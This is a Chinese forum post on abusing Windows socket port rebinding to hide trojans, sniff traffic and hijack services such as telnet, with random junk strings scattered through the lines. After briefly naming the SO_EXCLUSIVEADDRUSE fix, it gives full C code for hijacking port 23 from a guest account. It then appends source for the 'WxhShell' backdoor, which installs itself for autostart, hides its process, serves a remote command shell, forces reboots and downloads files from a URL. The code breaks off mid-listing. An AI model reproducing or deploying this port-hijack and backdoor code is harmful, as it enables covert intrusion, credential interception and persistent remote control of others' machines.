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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M_B:{%4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 78n=nHS  
Uts"aQ  
  saddr.sin_family = AF_INET; "wH)mQnd  
+i `*lBup$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (VvKGh  
LiDvaF:@L!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dGZntT 2D  
RhF>T&Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -O:_!\uA  
nGZX7Fx5  
  这意味着什么?意味着可以进行如下的攻击: >,C4rC+:XN  
MB);!qy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8B!aO/Km  
L;_c|\%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dN Y"]b  
.=9 s1 ~]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y izE5[*  
q^8EOAvnZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7>o .0  
;y?);!g  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BUUf;Vv  
`T ^G^7&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ydl jw  
W!$zXwY}(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UbJ*'eoX  
Qz<d~ N  
  #include iWXc  
  #include  hRaf#  
  #include ,lY aA5&I  
  #include    Q+|{Bs)6i1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Itm8b4e9;  
  int main() &0N<ofYX  
  { ~+D*:7Y_  
  WORD wVersionRequested; 5`^o1nGO'  
  DWORD ret; =1/NFlt8  
  WSADATA wsaData; I"L;L?\S  
  BOOL val; $X`y%*<<v  
  SOCKADDR_IN saddr; CF y}r(q  
  SOCKADDR_IN scaddr; $KV&\Q3\0  
  int err; <x%M3BTx  
  SOCKET s; Dkw%`(Oh/,  
  SOCKET sc; +\`vq"e  
  int caddsize; Ar9nBJ`  
  HANDLE mt; /k\01hc`  
  DWORD tid;   *xRc * :0  
  wVersionRequested = MAKEWORD( 2, 2 ); T*2C_oW  
  err = WSAStartup( wVersionRequested, &wsaData ); R5Yl1   
  if ( err != 0 ) { /z."l!u6  
  printf("error!WSAStartup failed!\n"); 7D"%%|: h  
  return -1; D  _X8-  
  } &!.HuRiuC  
  saddr.sin_family = AF_INET; iMP  
   -=$2p0" R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dLh6:Gh8_I  
`qpc*enf0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); MKGS`X]<J  
  saddr.sin_port = htons(23); ={(j`VSUX0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q}%tt=KD  
  { Hy; Hs#  
  printf("error!socket failed!\n"); Y8s;w!/  
  return -1; 7l8[xV  
  } E +_&HG}a  
  val = TRUE; ,#u\l>&$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i`U: gw  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cH`^D?#se  
  { qV1O-^&[f=  
  printf("error!setsockopt failed!\n"); O_@2;iD^^  
  return -1; T(X:Yw  
  } GrEs1M1]*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s PYX~G&T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ayx^Wp*s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pck>;V  
QezSJ io  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @9 8;VWY\  
  { H>7dND 2;  
  ret=GetLastError(); kN9yO5 h7  
  printf("error!bind failed!\n"); ,krS-.  
  return -1; ND]S(C"?  
  } Dk)}|GJ()"  
  listen(s,2); =WZ%H_oxi  
  while(1) 6k0^x Q  
  { % +Pl+`? E  
  caddsize = sizeof(scaddr); e29y7:)c=  
  //接受连接请求 .CV _\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Rc$h{0K8  
  if(sc!=INVALID_SOCKET) {XY3Xo  
  { *$,+`+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i s"vekC  
  if(mt==NULL) "ORzWnE4U  
  { QEJGnl676  
  printf("Thread Creat Failed!\n"); E:A!wS`"  
  break; IhonnLLW  
  } L ^Y3=1#"g  
  } DQ6jT@ZDH  
  CloseHandle(mt); a0_(eO-S  
  } 83;IyvbL  
  closesocket(s); )qM|3],  
  WSACleanup(); [, f)9v)  
  return 0; |"k&fkS$  
  }   `7Ug/R<  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1$LIpx  
  { crmUrF#  
  SOCKET ss = (SOCKET)lpParam; hb^!LtF#Y  
  SOCKET sc; xxX/y2\  
  unsigned char buf[4096]; CMVS W6  
  SOCKADDR_IN saddr; us{nyil1  
  long num; mBl7{w;Iv  
  DWORD val; D[Iq n  
  DWORD ret; u}jrfKd E  
  //如果是隐藏端口应用的话,可以在此处加一些判断 h8}8Lp(/'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   g'lT  
  saddr.sin_family = AF_INET; YB!!/ SX4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (!zM\sF  
  saddr.sin_port = htons(23); Z!\@%`0$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (aKZ5>>cN  
  { `F1dyf!p<  
  printf("error!socket failed!\n"); _vrWj<wyf  
  return -1; w=J4zkWk  
  } T%I&txl  
  val = 100; /8eW@IO.F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C ?7X"~ ~  
  { vjK, I9  
  ret = GetLastError(); 0-xCp ~vE  
  return -1; 1bRL"{m^)-  
  } &4kM8Qh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R2^iSl%pj  
  { U</+.$b  
  ret = GetLastError(); &hN,xpC  
  return -1; lizTRVBE  
  } !WKk=ysFS  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0'yyfz  
  { U"5q;9#q  
  printf("error!socket connect failed!\n"); FBY ODw  
  closesocket(sc); km>o7V&4G  
  closesocket(ss); Q=+8/b  
  return -1; nR'#s%Kj  
  } hZuYdV{'h  
  while(1) - V=arm\#z  
  { M\UWWb&%\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c4|so=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  KOS yh<&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !<Z{@7oH  
  num = recv(ss,buf,4096,0); a$+#V=bA  
  if(num>0) @d)a~[pm  
  send(sc,buf,num,0); oh&Y< d0  
  else if(num==0) ?)cJZ>$!w  
  break; ,L%p  
  num = recv(sc,buf,4096,0); R<g=\XO'y  
  if(num>0) JuJ5qIal  
  send(ss,buf,num,0); N$Hqa^!'T  
  else if(num==0) [X|OrRA  
  break; FmA-OqEpA  
  } .BL:h&h|y  
  closesocket(ss); raQYn?[  
  closesocket(sc); w-: D  
  return 0 ; <nA3Sd"QfV  
  } AQ}l%  
3wNN<R  
\{>eOD_  
========================================================== f[@#7,2~M  
:&$Xe1)i]  
下边附上一个代码,,WXhSHELL dofR)"<p,^  
Mf7E72{D  
========================================================== l$`G:%qHj  
:yD@5)  
#include "stdafx.h" c~oe, 9  
s5.k|!K  
#include <stdio.h> Wf1-"Q  
#include <string.h> y''V"Be  
#include <windows.h> <4NQL*|>  
#include <winsock2.h> zjWyGt(Q  
#include <winsvc.h> }85#[~m'  
#include <urlmon.h> ^'Zh;WjI7  
nDn{zea7  
#pragma comment (lib, "Ws2_32.lib") KgU[  
#pragma comment (lib, "urlmon.lib") YPQCOG  
*2:Yf7rvI+  
#define MAX_USER   100 // 最大客户端连接数 *]9XDc]{j1  
#define BUF_SOCK   200 // sock buffer WFdem/\kX  
#define KEY_BUFF   255 // 输入 buffer P rt#L8  
/O"0L/hc^  
#define REBOOT     0   // 重启 gT7I9 (x!W  
#define SHUTDOWN   1   // 关机 $y4M#yv  
:+A; TV  
#define DEF_PORT   5000 // 监听端口 9jjL9f_3  
nK:`e9ES  
#define REG_LEN     16   // 注册表键长度 | VRq$^g  
#define SVC_LEN     80   // NT服务名长度 *EE|?vn  
bgXc_>T6_y  
// 从dll定义API 2^ kn5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s.e y!ew  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^ N_`^m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZArf;&8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iy9VruT<x  
Q,TaJ]  
// wxhshell配置信息 -CZ-l;5  
struct WSCFG { C9+Dw#-f V  
  int ws_port;         // 监听端口 Xa\]ua_  
  char ws_passstr[REG_LEN]; // 口令 u"joCZ7`kG  
  int ws_autoins;       // 安装标记, 1=yes 0=no T/3;NXe6E  
  char ws_regname[REG_LEN]; // 注册表键名 'Sk6U]E~  
  char ws_svcname[REG_LEN]; // 服务名 #|D:f~"d3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :if5z2PE/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !j'guT&9]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  m"1 ?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p!V) 55J*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @@xF#3   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E<P*QZ-C3  
4t(QvIydA  
}; 2f /bEpi  
\!6t  
// default Wxhshell configuration (N9`WuI  
struct WSCFG wscfg={DEF_PORT, n/:Z{  
    "xuhuanlingzhe", :'TX"E!  
    1, 5vl2yN  
    "Wxhshell", EID(M.G  
    "Wxhshell", -kt1t@O  
            "WxhShell Service", ,9+nfj  
    "Wrsky Windows CmdShell Service", *+# k{D,  
    "Please Input Your Password: ", ;+! xZOmm  
  1, sd7Y6?_C  
  "http://www.wrsky.com/wxhshell.exe", i@%L_[MtA  
  "Wxhshell.exe" $jDD0<F.#  
    }; ;vZ*,q6  
l$qmn$Uc  
// 消息定义模块 HKT{IP+7(L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (rMTW+,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]*;RHy9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `jt(DKB+J  
char *msg_ws_ext="\n\rExit."; zh?xIpY  
char *msg_ws_end="\n\rQuit."; o<Ke3?J\  
char *msg_ws_boot="\n\rReboot..."; m}sh I8S  
char *msg_ws_poff="\n\rShutdown..."; +._f.BRmX.  
char *msg_ws_down="\n\rSave to "; _qdWQFuM  
^O?l9(=/u  
char *msg_ws_err="\n\rErr!"; Z7ZWf'o  
char *msg_ws_ok="\n\rOK!"; yzODF>KJ  
:  ,|=Q}  
char ExeFile[MAX_PATH]; (u$!\fE-et  
int nUser = 0; ([ E#zrz%  
HANDLE handles[MAX_USER]; 4_Tb)?L+:  
int OsIsNt; P[r}(@0rJ  
A89Y;_4y  
SERVICE_STATUS       serviceStatus; 4 {uJ||!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1"N/ZKF-x  
30:HRF(:  
// 函数声明 hlt9x.e.A  
int Install(void); lb=2*dFJ1  
int Uninstall(void); BD<rQmfA^  
int DownloadFile(char *sURL, SOCKET wsh); k{!iDZr&f,  
int Boot(int flag); s$eK66H  
void HideProc(void); GXGN;,7EV  
int GetOsVer(void); dICnB:SSB  
int Wxhshell(SOCKET wsl); )I^)*(}  
void TalkWithClient(void *cs); 9iiU,}M`j  
int CmdShell(SOCKET sock); &n,xGIG  
int StartFromService(void); X:iG[iU*  
int StartWxhshell(LPSTR lpCmdLine); %l0_PhAB  
"@F*$JGT y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OD>u$tI9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BIwgl@t!>  
@*AYm-k  
// 数据结构和表定义 B`t)rBy  
SERVICE_TABLE_ENTRY DispatchTable[] = R A-^!4tX  
{ ~M|NzK_9  
{wscfg.ws_svcname, NTServiceMain}, `K@5_db\  
{NULL, NULL} d{(s-  
}; -sruxF  
_S[Rvb1e   
// 自我安装 j58Dki->.  
int Install(void) PkZf(=-X  
{ [0( E>vm  
  char svExeFile[MAX_PATH]; {3_Ffsg`  
  HKEY key; j@!BOL~?  
  strcpy(svExeFile,ExeFile); S S7D1  
x|P<F2L  
// 如果是win9x系统,修改注册表设为自启动 m7bn%j-{$f  
if(!OsIsNt) { loAfFK>g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @8}-0c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yAZ.L/jyr  
  RegCloseKey(key); ?}!gLp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W_Ws3L1;N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); htNL2N  
  RegCloseKey(key); @p?b"?QaB  
  return 0; 3(XHF3q  
    } 6= aBD_2@  
  } mU e@Dud  
} o%9Ua9|RR  
else { H-PW(  
3 tx0y  
// 如果是NT以上系统,安装为系统服务 !kjr> :)x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v>yGsJnV'  
if (schSCManager!=0) kfG65aa>_  
{ [7ek;d;'t  
  SC_HANDLE schService = CreateService h|Teh-@A5  
  ( ;8 /+wBnm  
  schSCManager, +)''l  
  wscfg.ws_svcname, H_xQ>~b  
  wscfg.ws_svcdisp, ~ Iu21Q(*  
  SERVICE_ALL_ACCESS, /I`!i K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9|?(GG  
  SERVICE_AUTO_START, ;Fwm1ezx0  
  SERVICE_ERROR_NORMAL, 8/kx3  
  svExeFile, HT1dvC$COo  
  NULL, LmT[N@>"  
  NULL, l%Fse&4\  
  NULL, D+@/x{wX2  
  NULL, Sj=69>m]5  
  NULL ?Sd~u1w8K  
  ); !Sr0Im0  
  if (schService!=0) d%[`=fs]|m  
  { n+A'XBHk  
  CloseServiceHandle(schService); !D|pbzQc8  
  CloseServiceHandle(schSCManager); C$Hl`>?$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (qq$y #$  
  strcat(svExeFile,wscfg.ws_svcname); i32_ZBZ?y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wb}N-8x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6vp8LNSW  
  RegCloseKey(key); UVQa af  
  return 0; %RK\Hz2q3  
    } t,r&SrC  
  } WEY97_@  
  CloseServiceHandle(schSCManager); p7ns(g@9  
} !xx> lX5  
} \p=W4W/  
_|5FrN  
return 1; ~_^o?NE,  
} Yqz[sz5+m  
}i/2XmA )  
// 自我卸载 c<t3y7  
int Uninstall(void) z)?#UdBQv  
{ e8ig[:B>+  
  HKEY key; u^4"96aXJ  
1RUbY>K#U  
if(!OsIsNt) { >stVsFdV)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6XxG1]84  
  RegDeleteValue(key,wscfg.ws_regname); h1UlLy 8  
  RegCloseKey(key); KE)D =P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \i;~~;D  
  RegDeleteValue(key,wscfg.ws_regname); 1\.zOq#  
  RegCloseKey(key); CFS3);'<|  
  return 0; /B#lju!  
  } *~lgU4  
} K {1ZaEH  
} Lw+1|  
else { ws=9u-  
GVHfN5bTqn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2ZzD^:V[}  
if (schSCManager!=0) +hvIJv ?  
{ l!2Z`D_MD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U(&nh ?  
  if (schService!=0) '|A5a+[  
  { =QKgsgLh  
  if(DeleteService(schService)!=0) { q9]^+8UP  
  CloseServiceHandle(schService); 1j) !d$8  
  CloseServiceHandle(schSCManager); :"+UG-S$6  
  return 0; GO GXM4I  
  } G]NtX4'4  
  CloseServiceHandle(schService); >7Sl( UY-  
  } 6+f>XL#w  
  CloseServiceHandle(schSCManager); 36A.h,~  
} E{]|jPdr  
} 'Tan6 Qa  
mEc;-b f  
return 1; g KmRjK  
} Wj{Rp{}3  
i,b7Ft:F&  
// 从指定url下载文件 !7a^8   
int DownloadFile(char *sURL, SOCKET wsh) 6Cv2>'{S  
{ m+8b2H:V  
  HRESULT hr; 0jZ{?  
char seps[]= "/"; E["t Ccg  
char *token; { )GEgC  
char *file; /$.vHt 5nt  
char myURL[MAX_PATH]; gwB> oi*OE  
char myFILE[MAX_PATH]; a:%5.!Vd  
4bJ2<j  
strcpy(myURL,sURL); #vZ]2Ud= 2  
  token=strtok(myURL,seps); 0N[DV]  
  while(token!=NULL) .yh2ttf<gB  
  { {S: 3 FI  
    file=token; uV$d7(N}"  
  token=strtok(NULL,seps); &*:)5F5  
  } D.Cs nfJ  
 Dmv  
GetCurrentDirectory(MAX_PATH,myFILE); $cpQ7  
strcat(myFILE, "\\"); kkBV;v%a  
strcat(myFILE, file); TKBK3N  
  send(wsh,myFILE,strlen(myFILE),0); p1gX4t]%}a  
send(wsh,"...",3,0); h+u|MdOY\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ez:o9)N4  
  if(hr==S_OK) IV#My9}e  
return 0; ]}L1W`n  
else l )V43  
return 1; KXbYv62  
adr^6n6 v  
} w58 QX/XG  
h \cK  
// 系统电源模块 0BP~ 0z  
int Boot(int flag) | xI_aYv*  
{ } fMFQA)  
  HANDLE hToken; dv}R]f'  
  TOKEN_PRIVILEGES tkp; O|TwG:!  
;Kb[UZ1  
  if(OsIsNt) { $>s@T(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7MJ)p$&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n ~i4yn=  
    tkp.PrivilegeCount = 1; 8jGoU 9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `ip69 IF2*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WK)k-A^q  
if(flag==REBOOT) { R.'Gg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _p2<7x i   
  return 0; 9 @*>$6  
} 0bL=l0N$W  
else { UT7lj wT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sW3D ( n  
  return 0; oc%le2   
} XlJux_LD:  
  }  %!h+  
  else { ;9 n8on\  
if(flag==REBOOT) { (gC^5&11  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V+ ~2q=  
  return 0; 'n.9qxY;  
} $=SYssg7La  
else { ^M5uLm-_s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1L qJ@v0  
  return 0; rL/7wa  
} He;%6OG{  
} 'eY[?LJ]U  
ddhTr i'f  
return 1; 3evfX[V#  
} ?G<I N)  
v") W@haU  
// win9x进程隐藏模块 0=zS&xM  
void HideProc(void) gCI'YEx  
{ &: 8&;vk  
P>Rqy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M +q 7h+HP  
  if ( hKernel != NULL ) 0nnq/u^  
  { (Sp~+#XnF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LbI])M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1Nu`@)D0  
    FreeLibrary(hKernel); (uz!:dkvx  
  } CPM6T$_qE  
3? CpylCO  
return; nW*Oo|p~=  
} zb)SlR  
_JO @O^Ndd  
// 获取操作系统版本 1/J*ki+?  
int GetOsVer(void) <"%h1{V  
{ \1_&?( pU  
  OSVERSIONINFO winfo; [M>_(u6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [+7X&B  
  GetVersionEx(&winfo); [kkcV5I-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y~1php>2f1  
  return 1; M<pgaB0  
  else ?y@pR e$2  
  return 0; '2{o_<m  
} nE%qm -  
V7i`vo3Cc  
// 客户端句柄模块 hIr^"kVK  
int Wxhshell(SOCKET wsl) ~Nh7C b _  
{ o-Arfc3Q  
  SOCKET wsh; ;H|M)z#[Z  
  struct sockaddr_in client; 5LH ]B  
  DWORD myID; >9|+F [Fc  
)Q?[_<1Y+  
  while(nUser<MAX_USER) lI<8)42yq  
{ C}E ea~  
  int nSize=sizeof(client); \ .s".aA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4;{CR. D  
  if(wsh==INVALID_SOCKET) return 1; f#b[KB^Z,2  
G dY^}TJrh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "S#hzrEdYI  
if(handles[nUser]==0) a8$pc>2E  
  closesocket(wsh); 7J/3O[2  
else A*;h}\n  
  nUser++; m q9&To!  
  } 6* w;xf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _ RT}Ee}Y  
nzDY!Y  
  return 0; mn` Ae=  
} HEN9D/O=  
U %l{>*q  
// 关闭 socket (Cd `~*5  
void CloseIt(SOCKET wsh) ,r4af<  
{ a@1gMZc*  
closesocket(wsh); `r Ql{$9IC  
nUser--; ? GW3E  
ExitThread(0); m!(K  
} +R$KEGu~0Y  
,/9|j*9H  
// 客户端请求句柄 *%sYajmD  
void TalkWithClient(void *cs) z0Hh8*  
{ '5\1uB PKW  
aR $P}]H  
  SOCKET wsh=(SOCKET)cs; +M:Q!'  
  char pwd[SVC_LEN]; |05LHwb>  
  char cmd[KEY_BUFF]; @DR&e^Zz  
char chr[1]; %Kp}Wo6  
int i,j; (FHh,y~v  
)cXc"aj@s  
  while (nUser < MAX_USER) { z>~3*a9&  
krU2S-  
if(wscfg.ws_passstr) { |{Q,,<C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gx)D~7lz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P]GGnT(!  
  //ZeroMemory(pwd,KEY_BUFF); ]f?LQCTq<b  
      i=0; 0g\&3EvD  
  while(i<SVC_LEN) { .EQFHStr  
ln7.>.F  
  // 设置超时 Fjb[Ev  
  fd_set FdRead; &h-1Z}  
  struct timeval TimeOut; Q<qIlNE  
  FD_ZERO(&FdRead); @hPbD?)M  
  FD_SET(wsh,&FdRead); Ja1*a,],L  
  TimeOut.tv_sec=8; LX'US-B.!  
  TimeOut.tv_usec=0; $'Z!Y;Ue  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jL<.?HE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X(9Ff=0.~  
D![Twlll  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {ar }.U  
  pwd=chr[0]; ptcU_*Gd  
  if(chr[0]==0xd || chr[0]==0xa) { xB#E&}Ho  
  pwd=0; `OWB@_u5  
  break; cjk5><}`H7  
  } 8:bNFgJD  
  i++; +FR"Gt$g  
    } K km7L-  
I( e>ff  
  // 如果是非法用户,关闭 socket ';%g^!lM a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WjB[e>  
} W%o){+,  
x4K5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {U9jA_XX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zoU.\]#C  
;DTNw=  
while(1) { <Jx{Uv  
"O`;zC  
  ZeroMemory(cmd,KEY_BUFF); n_Z8%|h  
c=gUY~Rl  
      // 自动支持客户端 telnet标准   EMo6$(  
  j=0; "M tQj}  
  while(j<KEY_BUFF) { kH'Cx^=c6h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '%,Re-8O  
  cmd[j]=chr[0]; %j,Ny}a   
  if(chr[0]==0xa || chr[0]==0xd) { -#r_9HQ,w  
  cmd[j]=0; 1 /`>Eh  
  break; <~3 a aO  
  } Cnolka"  
  j++; cD\Qt9EI  
    } V-31x)  
<|4j<U  
  // 下载文件 {BF\G%v;+  
  if(strstr(cmd,"http://")) { 8"@<s?0\"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &zR}jD>  
  if(DownloadFile(cmd,wsh)) ,Xw/ t>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m`|Z1CT  
  else 1NTe@r!y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U7W ct %  
  } y.Py>GJJ1S  
  else { C{D2mSS  
4}CRM# W2  
    switch(cmd[0]) { .&Z Vy{uP  
  {:Q2Itsy  
  // 帮助 !l~hO  
  case '?': { ra3WLK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @P-7a`3*  
    break; A28w/ =e7  
  } 3O.-'U1K  
  // 安装 :/3`+&T^/  
  case 'i': { AYi$LsLhO  
    if(Install()) "YBA$ef$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _C4^J  
    else IO+z:D{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U;31}'b  
    break; bMZ0%(q  
    } OjHBzrK  
  // 卸载 !\m.&lk'^  
  case 'r': { d09GD[5  
    if(Uninstall()) dx~Wm1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kk,->q<1  
    else -'nx7wnj2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `XnFc*L 1  
    break; I4*N  
    } H\^^p!^)  
  // 显示 wxhshell 所在路径 y|aWUX/a  
  case 'p': { zt8ZJlNK  
    char svExeFile[MAX_PATH]; XEuv aM  
    strcpy(svExeFile,"\n\r"); Hq~ 2,#Ue  
      strcat(svExeFile,ExeFile); L*_xu _F  
        send(wsh,svExeFile,strlen(svExeFile),0); > + SEze  
    break; sOJ~PRA  
    } [  /D/  
  // 重启 Kq*^*vWC  
  case 'b': { aH6pys!O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Mf *qr9*  
    if(Boot(REBOOT)) wK3}K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V*?,r<(  
    else {  D;5RcZ  
    closesocket(wsh); s^U^n//  
    ExitThread(0); F,D &  
    } V$@2:@8mo  
